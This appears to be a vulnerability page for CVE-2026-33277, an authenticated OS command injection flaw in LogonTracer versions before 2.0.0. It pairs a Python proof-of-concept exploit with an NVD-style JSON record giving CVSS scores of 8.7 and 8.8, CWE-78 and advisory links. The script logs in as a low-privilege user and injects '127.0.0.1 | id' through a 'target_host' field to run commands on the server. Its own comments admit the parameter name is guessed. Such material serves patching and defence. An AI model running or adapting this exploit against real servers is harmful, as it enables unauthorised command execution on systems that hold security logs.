CVE-2026-33277

import requests # Target URL (Example) target_url = "http://target-logontracer-server:8080/api/analyze" login_url = "http://target-logontracer-server:8080/login" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to get a valid session login_payload = { "username": username, "password": password } session.post(login_url, data=login_payload) # Step 2: Exploit OS Command Injection # The vulnerability allows injecting commands via a specific parameter. # Payload attempts to execute 'id' command using pipe operator. # In a real scenario, this might be a parameter like 'filename' or 'hostname'. exploit_payload = { "target_host": "127.0.0.1 | id", "timeline": "all" } try: response = session.post(target_url, data=exploit_payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for command output:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33277", "sourceIdentifier": "[email protected]", "published": "2026-04-27T00:16:19.483", "lastModified": "2026-04-28T18:43:10.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An OS command Injection issue exists in LogonTracer prior to v2.0.0. An arbitrary OS command may be executed by a logged-in user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jpcert:logontracer:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.0", "matchCriteriaId": "3F702F84-44F3-411B-8F03-87CE72BB6510"}]}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN57877356/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.jpcert.or.jp/press/2026/PR20260423.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}